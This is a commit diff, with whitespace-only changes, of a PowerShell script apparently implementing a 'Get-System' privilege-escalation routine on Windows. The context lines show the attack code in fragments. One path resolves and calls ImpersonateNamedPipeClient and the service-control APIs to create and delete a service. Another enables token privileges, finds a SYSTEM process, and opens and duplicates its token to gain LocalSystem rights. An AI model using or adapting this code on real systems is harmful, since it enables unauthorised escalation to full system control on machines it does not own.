@@ -111,11 +111,11 @@ http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/
111111 Param
112112 (
113113 [OutputType ([Type ])]
114-
114+
115115 [Parameter ( Position = 0 )]
116116 [Type []]
117117 $Parameters = (New-Object Type[](0 )),
118-
118+
119119 [Parameter ( Position = 1 )]
120120 [Type ]
121121 $ReturnType = [Void ]
@@ -130,7 +130,7 @@ http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/
130130 $ConstructorBuilder.SetImplementationFlags (' Runtime, Managed' )
131131 $MethodBuilder = $TypeBuilder.DefineMethod (' Invoke' , ' Public, HideBySig, NewSlot, Virtual' , $ReturnType , $Parameters )
132132 $MethodBuilder.SetImplementationFlags (' Runtime, Managed' )
133-
133+
134134 Write-Output $TypeBuilder.CreateType ()
135135 }
136136
@@ -140,11 +140,11 @@ http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/
140140 Param
141141 (
142142 [OutputType ([IntPtr ])]
143-
143+
144144 [Parameter ( Position = 0 , Mandatory = $True )]
145145 [String ]
146146 $Module ,
147-
147+
148148 [Parameter ( Position = 1 , Mandatory = $True )]
149149 [String ]
150150 $Procedure
@@ -161,7 +161,7 @@ http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/
161161 $Kern32Handle = $GetModuleHandle.Invoke ($null , @ ($Module ))
162162 $tmpPtr = New-Object IntPtr
163163 $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr , $Kern32Handle )
164-
164+
165165 # Return the address of the function
166166 Write-Output $GetProcAddress.Invoke ($null , @ ([System.Runtime.InteropServices.HandleRef ]$HandleRef , $Procedure ))
167167 }
@@ -190,7 +190,7 @@ http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/
190190 $PipeHandle = $Pipe.SafePipeHandle.DangerousGetHandle ()
191191
192192 # Declare/setup all the needed API function
193- # adapted heavily from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html
193+ # adapted heavily from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html
194194 $ImpersonateNamedPipeClientAddr = Get-ProcAddress Advapi32.dll ImpersonateNamedPipeClient
195195 $ImpersonateNamedPipeClientDelegate = Get-DelegateType @ ( [Int ] ) ([Int ])
196196 $ImpersonateNamedPipeClient = [System.Runtime.InteropServices.Marshal ]::GetDelegateForFunctionPointer($ImpersonateNamedPipeClientAddr , $ImpersonateNamedPipeClientDelegate )
@@ -202,11 +202,11 @@ http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/
202202 $OpenSCManagerAAddr = Get-ProcAddress Advapi32.dll OpenSCManagerA
203203 $OpenSCManagerADelegate = Get-DelegateType @ ( [String ], [String ], [Int ]) ([IntPtr ])
204204 $OpenSCManagerA = [System.Runtime.InteropServices.Marshal ]::GetDelegateForFunctionPointer($OpenSCManagerAAddr , $OpenSCManagerADelegate )
205-
205+
206206 $OpenServiceAAddr = Get-ProcAddress Advapi32.dll OpenServiceA
207207 $OpenServiceADelegate = Get-DelegateType @ ( [IntPtr ], [String ], [Int ]) ([IntPtr ])
208208 $OpenServiceA = [System.Runtime.InteropServices.Marshal ]::GetDelegateForFunctionPointer($OpenServiceAAddr , $OpenServiceADelegate )
209-
209+
210210 $CreateServiceAAddr = Get-ProcAddress Advapi32.dll CreateServiceA
211211 $CreateServiceADelegate = Get-DelegateType @ ( [IntPtr ], [String ], [String ], [Int ], [Int ], [Int ], [Int ], [String ], [String ], [Int ], [Int ], [Int ], [Int ]) ([IntPtr ])
212212 $CreateServiceA = [System.Runtime.InteropServices.Marshal ]::GetDelegateForFunctionPointer($CreateServiceAAddr , $CreateServiceADelegate )
@@ -298,8 +298,8 @@ http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/
298298 else {
299299 Write-Verbose ' [Get-System] Service successfully deleted'
300300 }
301-
302- # Step 7 - CloseServiceHandle() for the service handle
301+
302+ # Step 7 - CloseServiceHandle() for the service handle
303303 Write-Verbose ' [Get-System] Closing the service handle'
304304 $val = $CloseServiceHandle.Invoke ($ServiceHandle )
305305 Write-Verbose ' [Get-System] Service handle closed off'
@@ -458,15 +458,15 @@ http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/
458458 @ ([IntPtr ], [Bool ], $TokPriv1LuidStruct.MakeByRefType (), [Int32 ], [IntPtr ], [IntPtr ]),
459459 [Runtime.InteropServices.CallingConvention ]::Winapi,
460460 ' Auto' ).SetCustomAttribute($AttribBuilder )
461-
461+
462462 $Win32Methods = $Win32TypeBuilder.CreateType ()
463463
464464 $Win32Native = [Int32 ].Assembly.GetTypes() | Where-Object {$_.Name -eq ' Win32Native' }
465465 $GetCurrentProcess = $Win32Native.GetMethod (
466466 ' GetCurrentProcess' ,
467467 [Reflection.BindingFlags ] ' NonPublic, Static'
468468 )
469-
469+
470470 $SE_PRIVILEGE_ENABLED = 0x00000002
471471 $STANDARD_RIGHTS_REQUIRED = 0x000F0000
472472 # $STANDARD_RIGHTS_READ = 0x00020000
@@ -509,7 +509,7 @@ http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/
509509 if (-not ($RetVal )) {
510510 Write-Error " [Get-System] AdjustTokenPrivileges failed, RetVal : $RetVal " - ErrorAction Stop
511511 }
512-
512+
513513 $LocalSystemNTAccount = (New-Object - TypeName ' System.Security.Principal.SecurityIdentifier' - ArgumentList ([Security.Principal.WellKnownSidType ]::' LocalSystemSid' , $null )).Translate([Security.Principal.NTAccount ]).Value
514514
515515 $SystemHandle = Get-WmiObject - Class Win32_Process | ForEach-Object {
@@ -532,10 +532,10 @@ http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/
532532 Write-Verbose " [Get-System] error enumerating handle: $_ "
533533 }
534534 } | Where-Object {$_ -and ($_ -ne 0 )} | Select-Object - First 1
535-
535+
536536 if ((-not $SystemHandle ) -or ($SystemHandle -eq 0 )) {
537537 Write-Error ' [Get-System] Unable to obtain a handle to a system process.'
538- }
538+ }
539539 else {
540540 [IntPtr ]$SystemToken = [IntPtr ]::Zero
541541 $RetVal = $Win32Methods ::OpenProcessToken(([IntPtr ][Int ] $SystemHandle ), ($TOKEN_IMPERSONATE -bor $TOKEN_DUPLICATE ), [ref ]$SystemToken );$LastError = [ComponentModel.Win32Exception ][Runtime.InteropServices.Marshal ]::GetLastWin32Error()
0 commit comments